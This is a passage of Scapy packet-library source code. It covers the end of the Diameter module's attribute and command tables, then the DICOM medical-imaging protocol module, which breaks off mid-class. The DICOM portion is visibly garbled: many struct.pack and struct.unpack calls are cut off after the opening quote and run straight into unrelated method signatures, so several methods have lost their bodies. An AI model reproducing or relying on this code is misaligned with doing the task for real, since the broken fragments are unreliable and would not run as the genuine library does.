AVPV_Unsigned32, 192), 2506: ('Vertical-Accuracy', AVPV_Unsigned32, 192), 2507: ('Vertical-Requested', AVP_10415_2507, 192), 2508: ('Velocity-Requested', AVP_10415_2508, 192), 2509: ('Response-Time', AVP_10415_2509, 192), 2510: ('Supported-GAD-Shapes', AVPV_Unsigned32, 192), 2511: ('LCS-Codeword', AVPV_StrLenField, 192), 2512: ('LCS-Privacy-Check', AVP_10415_2512, 192), 2513: ('Accuracy-Fulfilment-Indicator', AVP_10415_2513, 192), 2514: ('Age-Of-Location-Estimate', AVPV_Unsigned32, 192), 2515: ('Velocity-Estimate', AVPV_OctetString, 192), 2516: ('EUTRAN-Positioning-Data', AVPV_OctetString, 192), 2517: ('ECGI', AVPV_OctetString, 192), 2518: ('Location-Event', AVP_10415_2518, 192), 2519: ('Pseudonym-Indicator', AVP_10415_2519, 192), 2520: ('LCS-Service-Type-ID', AVPV_Unsigned32, 192), 2523: ('LCS-QoS-Class', AVP_10415_2523, 192), 2524: ('GERAN-Positioning-Info', AVPV_Grouped, 128), 2525: ('GERAN-Positioning-Data', AVPV_OctetString, 128), 2526: ('GERAN-GANSS-Positioning-Data', AVPV_OctetString, 128), 2527: ('UTRAN-Positioning-Info', AVPV_Grouped, 128), 2528: ('UTRAN-Positioning-Data', AVPV_OctetString, 128), 2529: ('UTRAN-GANSS-Positioning-Data', AVPV_OctetString, 128), 2530: ('LRR-Flags', AVPV_Unsigned32, 128), 2531: ('LCS-Reference-Number', AVPV_OctetString, 128), 2532: ('Deferred-Location-Type', AVPV_Unsigned32, 128), 2533: ('Area-Event-Info', AVPV_Grouped, 128), 2534: ('Area-Definition', AVPV_Grouped, 128), 2535: ('Area', AVPV_Grouped, 128), 2536: ('Area-Type', AVPV_Unsigned32, 128), 2537: ('Area-Identification', AVPV_Grouped, 128), 2538: ('Occurrence-Info', AVP_10415_2538, 128), 2539: ('Interval-Time', AVPV_Unsigned32, 128), 2540: ('Periodic-LDR-Information', AVPV_Grouped, 128), 2541: ('Reporting-Amount', AVPV_Unsigned32, 128), 2542: ('Reporting-Interval', AVPV_Unsigned32, 128), 2543: ('Reporting-PLMN-List', AVPV_Grouped, 128), 2544: ('PLMN-ID-List', AVPV_Grouped, 128), 2545: ('PLR-Flags', AVPV_Unsigned32, 128), 2546: ('PLA-Flags', AVPV_Unsigned32, 128), 2547: ('Deferred-MT-LR-Data', AVPV_Grouped, 128), 2548: ('Termination-Cause', AVPV_Unsigned32, 128), 2549: ('LRA-Flags', AVPV_Unsigned32, 128), 2550: ('Periodic-Location-Support-Indicator', AVP_10415_2550, 128), 2551: ('Prioritized-List-Indicator', AVP_10415_2551, 128), 2552: ('ESMLC-Cell-Info', AVPV_Grouped, 128), 2553: ('Cell-Portion-ID', AVPV_Unsigned32, 128), 2554: ('1xRTT-RCID', AVPV_OctetString, 128), 2601: ('IMS-Application-Reference-Identifier', AVPV_StrLenField, 192), 2602: ('Low-Priority-Indicator', AVP_10415_2602, 192), 2604: ('Local-GW-Inserted-Indication', AVP_10415_2604, 192), 2605: ('Transcoder-Inserted-Indication', AVP_10415_2605, 192), 2606: ('PDP-Address-Prefix-Length', AVPV_Unsigned32, 192), 2701: ('Transit-IOI-List', AVPV_StrLenField, 192), 2702: ('AS-Code', AVP_10415_2702, 192), 2704: ('NNI-Type', AVP_10415_2704, 192), 2705: ('Neighbour-Node-Address', AVPV_Address, 192), 2706: ('Relationship-Mode', AVP_10415_2706, 192), 2707: ('Session-Direction', AVP_10415_2707, 192), 2708: ('From-Address', AVPV_StrLenField, 192), 2709: ('Access-Transfer-Information', AVPV_Grouped, 192), 2710: ('Access-Transfer-Type', AVP_10415_2710, 192), 2711: ('Related-IMS-Charging-Identifier', AVPV_StrLenField, 192), 2712: ('Related-IMS-Charging-Identifier-Node', AVPV_Address, 192), 2713: ('IMS-Visited-Network-Identifier', AVPV_StrLenField, 192), 2714: ('TWAN-User-Location-Info', AVPV_Grouped, 192), 2716: ('BSSID', AVPV_StrLenField, 192), 2717: ('TAD-Identifier', AVP_10415_2717, 192), 2802: ('TDF-Application-Instance-Identifier', AVPV_OctetString, 128), 2804: ('HeNB-Local-IP-Address', AVPV_Address, 128), 2805: ('UE-Local-IP-Address', AVPV_Address, 128), 2806: ('UDP-Source-Port', AVPV_Unsigned32, 128), 2809: ('Mute-Notification', AVP_10415_2809, 128), 2810: ('Monitoring-Time', AVPV_Time, 128), 2811: ('AN-GW-Status', AVP_10415_2811, 128), 2812: ('User-Location-Info-Time', AVPV_Time, 128), 2816: ('Default-QoS-Information', AVPV_Grouped, 128), 2817: ('Default-QoS-Name', AVPV_StrLenField, 128), 2818: ('Conditional-APN-Aggregate-Max-Bitrate', AVPV_Grouped, 128), 2819: ('RAN-NAS-Release-Cause', AVPV_OctetString, 128), 2820: ('Presence-Reporting-Area-Elements-List', AVPV_OctetString, 128), 2821: ('Presence-Reporting-Area-Identifier', AVPV_OctetString, 128), 2822: ('Presence-Reporting-Area-Information', AVPV_Grouped, 128), 2823: ('Presence-Reporting-Area-Status', AVPV_Unsigned32, 128), 2824: ('NetLoc-Access-Support', AVPV_Unsigned32, 128), 2825: ('Fixed-User-Location-Info', AVPV_Grouped, 128), 2826: ('PCSCF-Restoration-Indication', AVPV_Unsigned32, 128), 2827: ('IP-CAN-Session-Charging-Scope', AVPV_Unsigned32, 128), 2828: ('Monitoring-Flags', AVPV_Unsigned32, 128), 2901: ('Policy-Counter-Identifier', AVPV_StrLenField, 192), 2902: ('Policy-Counter-Status', AVPV_StrLenField, 192), 2903: ('Policy-Counter-Status-Report', AVPV_Grouped, 192), 2904: ('SL-Request-Type', AVP_10415_2904, 192), 2905: ('Pending-Policy-Counter-Information', AVPV_Grouped, 192), 2906: ('Pending-Policy-Counter-Change-Time', AVPV_Time, 192), 3401: ('Reason-Header', AVPV_StrLenField, 192), 3402: ('Instance-Id', AVPV_StrLenField, 192), 3403: ('Route-Header-Received', AVPV_StrLenField, 192), 3404: ('Route-Header-Transmitted', AVPV_StrLenField, 192), 3405: ('SM-Device-Trigger-Information', AVPV_Grouped, 192), 3406: ('MTC-IWF-Address', AVPV_Address, 192), 3407: ('SM-Device-Trigger-Indicator', AVP_10415_3407, 192), 3408: ('SM-Sequence-Number', AVPV_Unsigned32, 192), 3409: ('SMS-Result', AVPV_Unsigned32, 192), 3410: ('VCS-Information', AVPV_Grouped, 192), 3411: ('Basic-Service-Code', AVPV_Grouped, 192), 3412: ('Bearer-Capability', AVPV_OctetString, 192), 3413: ('Teleservice', AVPV_OctetString, 192), 3414: ('ISUP-Location-Number', AVPV_OctetString, 192), 3415: ('Forwarding-Pending', AVP_10415_3415, 192), 3416: ('ISUP-Cause', AVPV_Grouped, 192), 3417: ('MSC-Address', AVPV_OctetString, 192), 3418: ('Network-Call-Reference-Number', AVPV_OctetString, 192), 3419: ('Start-of-Charging', AVPV_Time, 192), 3420: ('VLR-Number', AVPV_OctetString, 192), 3421: ('CN-Operator-Selection-Entity', AVP_10415_3421, 192), 3422: ('ISUP-Cause-Diagnostics', AVPV_OctetString, 192), 3423: ('ISUP-Cause-Location', AVPV_Unsigned32, 192), 3424: ('ISUP-Cause-Value', AVPV_Unsigned32, 192), 3425: ('ePDG-Address', AVPV_Address, 192), 3428: ('Coverage-Status', AVP_10415_3428, 192), 3429: ('Layer-2-Group-ID', AVPV_StrLenField, 192), 3430: ('Monitored-PLMN-Identifier', AVPV_StrLenField, 192), 3431: ('Monitoring-UE-HPLMN-Identifier', AVPV_StrLenField, 192), 3432: ('Monitoring-UE-Identifier', AVPV_StrLenField, 192), 3433: ('Monitoring-UE-VPLMN-Identifier', AVPV_StrLenField, 192), 3434: ('PC3-Control-Protocol-Cause', AVPV_Integer32, 192), 3435: ('PC3-EPC-Control-Protocol-Cause', AVPV_Integer32, 192), 3436: ('Requested-PLMN-Identifier', AVPV_StrLenField, 192), 3437: ('Requestor-PLMN-Identifier', AVPV_StrLenField, 192), 3438: ('Role-Of-ProSe-Function', AVP_10415_3438, 192), 3439: ('Usage-Information-Report-Sequence-Number', AVPV_Integer32, 192), # noqa: E501 3440: ('ProSe-3rd-Party-Application-ID', AVPV_StrLenField, 192), 3441: ('ProSe-Direct-Communication-Data-Container', AVPV_Grouped, 192), 3442: ('ProSe-Direct-Discovery-Model', AVP_10415_3442, 192), 3443: ('ProSe-Event-Type', AVP_10415_3443, 192), 3444: ('ProSe-Function-IP-Address', AVPV_Address, 192), 3445: ('ProSe-Functionality', AVP_10415_3445, 192), 3446: ('ProSe-Group-IP-Multicast-Address', AVPV_Address, 192), 3447: ('ProSe-Information', AVPV_Grouped, 192), 3448: ('ProSe-Range-Class', AVP_10415_3448, 192), 3449: ('ProSe-Reason-For-Cancellation', AVP_10415_3449, 192), 3450: ('ProSe-Request-Timestamp', AVPV_Time, 192), 3451: ('ProSe-Role-Of-UE', AVP_10415_3451, 192), 3452: ('ProSe-Source-IP-Address', AVPV_Address, 192), 3453: ('ProSe-UE-ID', AVPV_StrLenField, 192), 3454: ('Proximity-Alert-Indication', AVP_10415_3454, 192), 3455: ('Proximity-Alert-Timestamp', AVPV_Time, 192), 3456: ('Proximity-Cancellation-Timestamp', AVPV_Time, 192), 3457: ('ProSe-Function-PLMN-Identifier', AVPV_StrLenField, 192), }, } ##################################################################### ##################################################################### # # Diameter commands classes and definitions # ##################################################################### ##################################################################### # Version + message length + flags + code + Application-ID + Hop-by-Hop ID # + End-to-End ID DR_Header_Length = 20 DR_Flags_List = ["x", "x", "x", "x", "T", "E", "P", "R"] # The Diameter commands definition fields meaning: # 2nd: the 2 letters prefix for both requests and answers # 3rd: dictionary of Request/Answer command flags for each supported application ID. Each dictionary key is one of the # noqa: E501 # supported application ID and each value is a tuple defining the request # flag and then the answer flag DR_cmd_def = { 257: ('Capabilities-Exchange', 'CE', {0: (128, 0)}), 258: ('Re-Auth', 'RA', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777272: (192, 64), 16777264: (192, 64)}), # noqa: E501 260: ('AA-Mobile-Node', 'AM', {2: (192, 64)}), 262: ('Home-Agent-MIP', 'HA', {2: (192, 64)}), 265: ('AA', 'AA', {16777272: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777264: (192, 64)}), # noqa: E501 268: ('Diameter-EAP', 'DE', {16777272: (192, 64), 16777264: (192, 64), 16777250: (192, 64), 5: (192, 64), 7: (192, 64)}), # noqa: E501 271: ('Accounting', 'AC', {0: (192, 64), 1: (192, 64)}), 272: ('Credit-Control', 'CC', {4: (192, 64)}), 274: ('Abort-Session', 'AS', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777272: (192, 64), 16777264: (192, 64)}), # noqa: E501 275: ('Session-Termination', 'ST', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777264: (192, 64), 16777272: (192, 64)}), # noqa: E501 280: ('Device-Watchdog', 'DW', {0: (128, 0)}), 282: ('Disconnect-Peer', 'DP', {0: (128, 0)}), 283: ('User-Authorization', 'UA', {6: (192, 64)}), 284: ('Server-Assignment', 'SA', {6: (192, 64)}), 285: ('Location-Info', 'LI', {6: (192, 64)}), 286: ('Multimedia-Auth', 'MA', {6: (192, 64)}), 287: ('Registration-Termination', 'RT', {6: (192, 64)}), 288: ('Push-Profile', 'PP', {6: (192, 64)}), 300: ('User-Authorization', 'UA', {16777216: (192, 64)}), 301: ('Server-Assignment', 'SA', {16777216: (192, 64), 16777265: (192, 64)}), # noqa: E501 302: ('Location-Info', 'LI', {16777216: (192, 64)}), 303: ('Multimedia-Auth', 'MA', {16777216: (192, 64), 16777265: (192, 64)}), 304: ('Registration-Termination', 'RT', {16777216: (192, 64), 16777265: (192, 64)}), # noqa: E501 305: ('Push-Profile', 'PP', {16777216: (192, 64), 16777265: (128, 64)}), 306: ('User-Data', 'UD', {16777217: (192, 64)}), 307: ('Profile-Update', 'PU', {16777217: (192, 64)}), 308: ('Subscribe-Notifications', 'SN', {16777217: (192, 64)}), 309: ('Push-Notification', 'PN', {16777217: (192, 64)}), 316: ('Update-Location', 'UL', {16777251: (192, 64)}), 317: ('Cancel-Location', 'CL', {16777251: (192, 64)}), 318: ('Authentication-Information', 'AI', {16777251: (192, 64)}), 319: ('Insert-Subscriber-Data', 'ID', {16777251: (192, 64)}), 320: ('Delete-Subscriber-Data', 'DS', {16777251: (192, 64)}), 321: ('Purge-UE', 'PU', {16777251: (192, 64)}), 322: ('Reset', 'RS', {16777251: (192, 64)}), 323: ('Notify', 'NO', {16777251: (192, 64)}), 324: ('ME-Identity-Check', 'EC', {16777252: (192, 64)}), 325: ('MIP6', 'MI', {8: (192, 64)}), 8388620: ('Provide-Location', 'PL', {16777255: (192, 64)}), 8388621: ('Location-Report', 'LR', {16777255: (192, 64)}), 8388622: ('LCS-Routing-Info', 'RI', {16777291: (192, 64)}), 8388635: ('Spending-Limit', 'SL', {16777255: (192, 64)}), 8388636: ('Spending-Status-Notification', 'SN', {16777255: (192, 64)}), 8388638: ('Update-VCSG-Location', 'UV', {16777308: (192, 64)}), 8388642: ('Cancel-VCSG-Location', 'CV', {16777308: (192, 64)}), } # Generic class + commands builder ####################################### class DiamG (Packet): """ Generic class defining all the Diameter fields""" name = "Diameter" fields_desc = [ # Protocol version field, 1 byte, default value = 1 XByteField("version", 1), I3FieldLenField( "drLen", None, length_of="avpList", adjust=lambda p, x:x + DR_Header_Length), DRFlags("drFlags", None, 8, DR_Flags_List), # Command Code, 3 bytes, no default DRCode("drCode", None, DR_cmd_def), # Application ID, 4 bytes, no default IntEnumField("drAppId", None, AppIDsEnum), # Hop-by-Hop Identifier, 4 bytes XIntField("drHbHId", 0), # End-to-end Identifier, 4 bytes XIntField("drEtEId", 0), PacketListField( "avpList", [], GuessAvpType, length_from=lambda pkt:pkt.drLen - DR_Header_Length), ] def getCmdParams(cmd, request, **fields): """Update or fill the fields parameters depending on command code. Both cmd and drAppId can be provided # noqa: E501 in string or int format.""" drCode = None params = None drAppId = None # Fetch the parameters if cmd is found in dict if isinstance(cmd, int): drCode = cmd # Enable to craft commands with non standard code if cmd in DR_cmd_def: params = DR_cmd_def[drCode] else: params = ('Unknown', 'UK', {0: (128, 0)}) warning( 'No Diameter command with code %d found in DR_cmd_def dictionary' % # noqa: E501 cmd) else: # Assume command is a string if len(cmd) > 3: # Assume full command name given fpos = 0 else: # Assume abbreviated name is given and take only the first two letters # noqa: E501 cmd = cmd[:2] fpos = 1 for k, f in DR_cmd_def.items(): if f[fpos][:len( cmd)] == cmd: # Accept only a prefix of the full name drCode = k params = f break if not drCode: warning( 'Diameter command with name %s not found in DR_cmd_def dictionary.' % # noqa: E501 cmd) return (fields, 'Unknown') # The drCode is set/overridden in any case fields['drCode'] = drCode # Processing of drAppId if 'drAppId' in fields: val = fields['drAppId'] if isinstance(val, str): # Translate into application Id code found = False for k, v in AppIDsEnum.items(): if v.find(val) != -1: drAppId = k fields['drAppId'] = drAppId found = True break if not found: del fields['drAppId'] warning( 'Application ID with name %s not found in AppIDsEnum dictionary.' % # noqa: E501 val) return (fields, 'Unknown') else: # Assume type is int drAppId = val else: # Application Id shall be taken from the params found based on cmd drAppId = next(iter(params[2])) # The first record is taken fields['drAppId'] = drAppId # Set the command name name = params[0] + '-Request' if request else params[0] + '-Answer' # Processing of flags (only if not provided manually) if 'drFlags' not in fields: if drAppId in params[2]: flags = params[2][drAppId] fields['drFlags'] = flags[0] if request else flags[1] return (fields, name) def DiamReq(cmd, **fields): """Craft Diameter request commands""" upfields, name = getCmdParams(cmd, True, **fields) p = DiamG(**upfields) p.name = name return p def DiamAns(cmd, **fields): """Craft Diameter answer commands""" upfields, name = getCmdParams(cmd, False, **fields) p = DiamG(**upfields) p.name = name return p # Binding ####################################### bind_layers(TCP, DiamG, dport=3868) bind_layers(TCP, DiamG, sport=3868) bind_layers(SCTPChunkData, DiamG, proto_id=46) bind_layers(SCTPChunkData, DiamG, proto_id=47) ================================================ FILE: scapy/contrib/dicom.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Tyler M # scapy.contrib.description = DICOM (Digital Imaging and Communications in Medicine) # scapy.contrib.status = loads """ DICOM (Digital Imaging and Communications in Medicine) Protocol Reference: DICOM PS3.8 - Network Communication Support for Message Exchange https://dicom.nema.org/medical/dicom/current/output/html/part08.html """ import logging import socket import struct import time from typing import Any, Dict, List, Optional, Tuple, Union from scapy.compat import Self from scapy.packet import Packet, bind_layers from scapy.error import Scapy_Exception from scapy.fields import ( BitField, ByteEnumField, ByteField, ConditionalField, Field, FieldLenField, IntField, LenField, PacketListField, ShortField, StrFixedLenField, StrLenField, ) from scapy.layers.inet import TCP from scapy.supersocket import StreamSocket from scapy.volatile import RandShort, RandInt, RandString __all__ = [ "DICOM_PORT", "DICOM_PORT_ALT", "APP_CONTEXT_UID", "DEFAULT_TRANSFER_SYNTAX_UID", "VERIFICATION_SOP_CLASS_UID", "CT_IMAGE_STORAGE_SOP_CLASS_UID", "PATIENT_ROOT_QR_FIND_SOP_CLASS_UID", "PATIENT_ROOT_QR_MOVE_SOP_CLASS_UID", "PATIENT_ROOT_QR_GET_SOP_CLASS_UID", "STUDY_ROOT_QR_FIND_SOP_CLASS_UID", "STUDY_ROOT_QR_MOVE_SOP_CLASS_UID", "STUDY_ROOT_QR_GET_SOP_CLASS_UID", "DICOM", "A_ASSOCIATE_RQ", "A_ASSOCIATE_AC", "A_ASSOCIATE_RJ", "P_DATA_TF", "PresentationDataValueItem", "A_RELEASE_RQ", "A_RELEASE_RP", "A_ABORT", "DICOMVariableItem", "DICOMApplicationContext", "DICOMPresentationContextRQ", "DICOMPresentationContextAC", "DICOMAbstractSyntax", "DICOMTransferSyntax", "DICOMUserInformation", "DICOMMaximumLength", "DICOMImplementationClassUID", "DICOMAsyncOperationsWindow", "DICOMSCPSCURoleSelection", "DICOMImplementationVersionName", "DICOMSOPClassExtendedNegotiation", "DICOMSOPClassCommonExtendedNegotiation", "DICOMUserIdentity", "DICOMUserIdentityResponse", "DICOMElementField", "DICOMAETitleField", "DICOMUIDField", "DICOMUIDFieldRaw", "DICOMUSField", "DICOMULField", "DICOMAEDIMSEField", "DIMSEPacket", "C_ECHO_RQ", "C_ECHO_RSP", "C_STORE_RQ", "C_STORE_RSP", "C_FIND_RQ", "C_FIND_RSP", "C_MOVE_RQ", "C_MOVE_RSP", "C_GET_RQ", "C_GET_RSP", "DICOMSocket", "parse_dimse_status", "_uid_to_bytes", "_uid_to_bytes_raw", "build_presentation_context_rq", "build_user_information", ] log = logging.getLogger("scapy.contrib.dicom") DICOM_PORT = 104 DICOM_PORT_ALT = 11112 APP_CONTEXT_UID = "1.2.840.10008.3.1.1.1" DEFAULT_TRANSFER_SYNTAX_UID = "1.2.840.10008.1.2" VERIFICATION_SOP_CLASS_UID = "1.2.840.10008.1.1" CT_IMAGE_STORAGE_SOP_CLASS_UID = "1.2.840.10008.5.1.4.1.1.2" PATIENT_ROOT_QR_FIND_SOP_CLASS_UID = "1.2.840.10008.5.1.4.1.2.1.1" PATIENT_ROOT_QR_MOVE_SOP_CLASS_UID = "1.2.840.10008.5.1.4.1.2.1.2" PATIENT_ROOT_QR_GET_SOP_CLASS_UID = "1.2.840.10008.5.1.4.1.2.1.3" STUDY_ROOT_QR_FIND_SOP_CLASS_UID = "1.2.840.10008.5.1.4.1.2.2.1" STUDY_ROOT_QR_MOVE_SOP_CLASS_UID = "1.2.840.10008.5.1.4.1.2.2.2" STUDY_ROOT_QR_GET_SOP_CLASS_UID = "1.2.840.10008.5.1.4.1.2.2.3" PDU_TYPES = { 0x01: "A-ASSOCIATE-RQ", 0x02: "A-ASSOCIATE-AC", 0x03: "A-ASSOCIATE-RJ", 0x04: "P-DATA-TF", 0x05: "A-RELEASE-RQ", 0x06: "A-RELEASE-RP", 0x07: "A-ABORT", } ITEM_TYPES = { 0x10: "Application Context", 0x20: "Presentation Context RQ", 0x21: "Presentation Context AC", 0x30: "Abstract Syntax", 0x40: "Transfer Syntax", 0x50: "User Information", 0x51: "Maximum Length", 0x52: "Implementation Class UID", 0x53: "Asynchronous Operations Window", 0x54: "SCP/SCU Role Selection", 0x55: "Implementation Version Name", 0x56: "SOP Class Extended Negotiation", 0x57: "SOP Class Common Extended Negotiation", 0x58: "User Identity", 0x59: "User Identity Server Response", } def _uid_to_bytes(uid: Union[str, bytes]) -> bytes: """Convert UID to bytes with even-length padding (null byte if needed).""" if isinstance(uid, bytes): b_uid = uid elif isinstance(uid, str): b_uid = uid.encode("ascii") else: return b"" if len(b_uid) % 2 != 0: b_uid += b"\x00" return b_uid def _uid_to_bytes_raw(uid: Union[str, bytes]) -> bytes: """Convert UID to bytes without padding.""" if isinstance(uid, bytes): return uid elif isinstance(uid, str): return uid.encode("ascii") else: return b"" class DICOMAETitleField(StrFixedLenField): """DICOM AE Title field - 16 bytes, space-padded per PS3.5 Section 6.2.""" def __init__(self, name: str, default: bytes = b"") -> None: super(DICOMAETitleField, self).__init__(name, default, length=16) def i2m(self, pkt: Optional[Packet], val: Any) -> bytes: if val is None: val = b"" if isinstance(val, str): val = val.encode("ascii") return val.ljust(16, b" ")[:16] def m2i(self, pkt: Optional[Packet], val: bytes) -> bytes: return val def i2repr(self, pkt: Optional[Packet], val: Any) -> str: if isinstance(val, bytes): return val.decode("ascii", errors="replace").rstrip() return str(val).rstrip() class DICOMElementField(Field[bytes, bytes]): """DICOM data element field with explicit tag and length encoding.""" __slots__ = ["tag_group", "tag_elem"] def __init__(self, name: str, default: Any, tag_group: int, tag_elem: int) -> None: self.tag_group = tag_group self.tag_elem = tag_elem Field.__init__(self, name, default) def addfield(self, pkt: Optional[Packet], s: bytes, val: Any) -> bytes: if val is None: val = b"" if isinstance(val, str): val = val.encode("ascii") hdr = struct.pack(" Tuple[bytes, bytes]: if len(s) < 8: return s, b"" tag_g, tag_e, length = struct.unpack(" str: if isinstance(val, bytes): try: return val.decode("ascii").rstrip("\x00") except UnicodeDecodeError: return val.hex() return repr(val) def randval(self) -> RandString: return RandString(8) class DICOMUIDField(DICOMElementField): """DICOM UID element field with automatic even-length padding.""" def addfield(self, pkt: Optional[Packet], s: bytes, val: Any) -> bytes: val = _uid_to_bytes(val) if val else b"" return DICOMElementField.addfield(self, pkt, s, val) def i2repr(self, pkt: Optional[Packet], val: Any) -> str: if isinstance(val, bytes): return val.decode("ascii").rstrip("\x00") return str(val) def randval(self) -> str: from scapy.volatile import RandNum return "1.2.3.%d.%d.%d" % ( RandNum(1, 99999)._fix(), RandNum(1, 99999)._fix(), RandNum(1, 99999)._fix() ) class DICOMUIDFieldRaw(DICOMElementField): """DICOM UID element field without automatic padding.""" def addfield(self, pkt: Optional[Packet], s: bytes, val: Any) -> bytes: val = _uid_to_bytes_raw(val) if val else b"" return DICOMElementField.addfield(self, pkt, s, val) class DICOMUSField(DICOMElementField): """DICOM Unsigned Short (US) element field.""" def addfield(self, pkt: Optional[Packet], s: bytes, val: int) -> bytes: val_bytes = struct.pack(" Tuple[bytes, int]: remain, val_bytes = DICOMElementField.getfield(self, pkt, s) if len(val_bytes) >= 2: return remain, struct.unpack(" str: return "0x%04X" % val def randval(self) -> RandShort: return RandShort() class DICOMULField(DICOMElementField): """DICOM Unsigned Long (UL) element field.""" def addfield(self, pkt: Optional[Packet], s: bytes, val: int) -> bytes: val_bytes = struct.pack(" Tuple[bytes, int]: remain, val_bytes = DICOMElementField.getfield(self, pkt, s) if len(val_bytes) >= 4: return remain, struct.unpack(" RandInt: return RandInt() class DICOMAEDIMSEField(DICOMElementField): """DICOM AE element field for DIMSE - 16 bytes, space-padded.""" def addfield(self, pkt: Optional[Packet], s: bytes, val: Any) -> bytes: if val is None: val = b"" if isinstance(val, str): val = val.encode("ascii") val = val.ljust(16, b" ")[:16] return DICOMElementField.addfield(self, pkt, s, val) def i2repr(self, pkt: Optional[Packet], val: Any) -> str: if isinstance(val, bytes): return val.decode("ascii", errors="replace").strip() return str(val).strip() class DIMSEPacket(Packet): """Base class for DIMSE command packets with automatic group length.""" GROUP_LENGTH_ELEMENT_SIZE = 12 def post_build(self, pkt: bytes, pay: bytes) -> bytes: group_len = len(pkt) header = struct.pack(" str: return self.sprintf("C-ECHO-RQ msg_id=%message_id%") def hashret(self) -> bytes: return struct.pack(" str: return self.sprintf("C-ECHO-RSP status=%status%") def hashret(self) -> bytes: return struct.pack(" int: if isinstance(other, C_ECHO_RQ): return self.message_id_responded == other.message_id return 0 class C_STORE_RQ(DIMSEPacket): """C-STORE-RQ DIMSE Command for storing DICOM objects.""" name = "C-STORE-RQ" fields_desc = [ DICOMUIDField("affected_sop_class_uid", CT_IMAGE_STORAGE_SOP_CLASS_UID, 0x0000, 0x0002), DICOMUSField("command_field", 0x0001, 0x0000, 0x0100), DICOMUSField("message_id", 1, 0x0000, 0x0110), DICOMUSField("priority", 0x0002, 0x0000, 0x0700), DICOMUSField("data_set_type", 0x0000, 0x0000, 0x0800), DICOMUIDField("affected_sop_instance_uid", "1.2.3.4.5.6.7.8.9", 0x0000, 0x1000), ] def mysummary(self) -> str: return self.sprintf("C-STORE-RQ msg_id=%message_id%") def hashret(self) -> bytes: return struct.pack(" str: return self.sprintf("C-STORE-RSP status=%status%") def hashret(self) -> bytes: return struct.pack(" int: if isinstance(other, C_STORE_RQ): return self.message_id_responded == other.message_id return 0 class C_FIND_RQ(DIMSEPacket): """C-FIND-RQ DIMSE Command for querying DICOM objects.""" name = "C-FIND-RQ" fields_desc = [ DICOMUIDField("affected_sop_class_uid", PATIENT_ROOT_QR_FIND_SOP_CLASS_UID, 0x0000, 0x0002), DICOMUSField("command_field", 0x0020, 0x0000, 0x0100), DICOMUSField("message_id", 1, 0x0000, 0x0110), DICOMUSField("priority", 0x0002, 0x0000, 0x0700), DICOMUSField("data_set_type", 0x0000, 0x0000, 0x0800), ] def mysummary(self) -> str: return self.sprintf("C-FIND-RQ msg_id=%message_id%") def hashret(self) -> bytes: return struct.pack(" str: return self.sprintf("C-FIND-RSP status=%status%") def hashret(self) -> bytes: return struct.pack(" int: if isinstance(other, C_FIND_RQ): return self.message_id_responded == other.message_id return 0 class C_MOVE_RQ(DIMSEPacket): """C-MOVE-RQ DIMSE Command for retrieving DICOM objects.""" name = "C-MOVE-RQ" fields_desc = [ DICOMUIDField("affected_sop_class_uid", PATIENT_ROOT_QR_MOVE_SOP_CLASS_UID, 0x0000, 0x0002), DICOMUSField("command_field", 0x0021, 0x0000, 0x0100), DICOMUSField("message_id", 1, 0x0000, 0x0110), DICOMUSField("priority", 0x0002, 0x0000, 0x0700), DICOMUSField("data_set_type", 0x0000, 0x0000, 0x0800), DICOMAEDIMSEField("move_destination", b"", 0x0000, 0x0600), ] def mysummary(self) -> str: return self.sprintf("C-MOVE-RQ msg_id=%message_id%") def hashret(self) -> bytes: return struct.pack(" str: return self.sprintf("C-MOVE-RSP status=%status%") def hashret(self) -> bytes: return struct.pack(" int: if isinstance(other, C_MOVE_RQ): return self.message_id_responded == other.message_id return 0 class C_GET_RQ(DIMSEPacket): """C-GET-RQ DIMSE Command for retrieving objects on same association.""" name = "C-GET-RQ" fields_desc = [ DICOMUIDField("affected_sop_class_uid", PATIENT_ROOT_QR_GET_SOP_CLASS_UID, 0x0000, 0x0002), DICOMUSField("command_field", 0x0010, 0x0000, 0x0100), DICOMUSField("message_id", 1, 0x0000, 0x0110), DICOMUSField("priority", 0x0002, 0x0000, 0x0700), DICOMUSField("data_set_type", 0x0000, 0x0000, 0x0800), ] def mysummary(self) -> str: return self.sprintf("C-GET-RQ msg_id=%message_id%") def hashret(self) -> bytes: return struct.pack(" str: return self.sprintf("C-GET-RSP status=%status%") def hashret(self) -> bytes: return struct.pack(" int: if isinstance(other, C_GET_RQ): return self.message_id_responded == other.message_id return 0 def parse_dimse_status(dimse_bytes: bytes) -> Optional[int]: """Extract status code from DIMSE response bytes.""" try: if len(dimse_bytes) < 12: return None cmd_group_len = struct.unpack(" len(dimse_bytes) or offset + 10 > group_end_offset: break return struct.unpack( " Tuple[bytes, bytes]: return b"", s class DICOMVariableItem(Packet): """DICOM variable item header with type and length fields.""" name = "DICOM Variable Item" fields_desc = [ ByteEnumField("item_type", 0x10, ITEM_TYPES), ByteField("reserved", 0), LenField("length", None, fmt="!H"), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: if self.length is not None: if len(s) < self.length: raise Scapy_Exception("PDU payload incomplete") return s[:self.length], s[self.length:] return s, b"" def guess_payload_class(self, payload: bytes) -> type: type_to_class = { 0x10: DICOMApplicationContext, 0x20: DICOMPresentationContextRQ, 0x21: DICOMPresentationContextAC, 0x30: DICOMAbstractSyntax, 0x40: DICOMTransferSyntax, 0x50: DICOMUserInformation, 0x51: DICOMMaximumLength, 0x52: DICOMImplementationClassUID, 0x53: DICOMAsyncOperationsWindow, 0x54: DICOMSCPSCURoleSelection, 0x55: DICOMImplementationVersionName, 0x56: DICOMSOPClassExtendedNegotiation, 0x57: DICOMSOPClassCommonExtendedNegotiation, 0x58: DICOMUserIdentity, 0x59: DICOMUserIdentityResponse, } return type_to_class.get(self.item_type, DICOMGenericItem) def mysummary(self) -> str: return self.sprintf("Item %item_type%") class DICOMApplicationContext(Packet): """DICOM Application Context item.""" name = "DICOM Application Context" fields_desc = [ StrLenField( "uid", _uid_to_bytes(APP_CONTEXT_UID), length_from=lambda pkt: ( pkt.underlayer.length if pkt.underlayer and pkt.underlayer.length else len(pkt.uid) ) ), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "AppContext %s" % self.uid.decode("ascii").rstrip("\x00") class DICOMAbstractSyntax(Packet): """DICOM Abstract Syntax 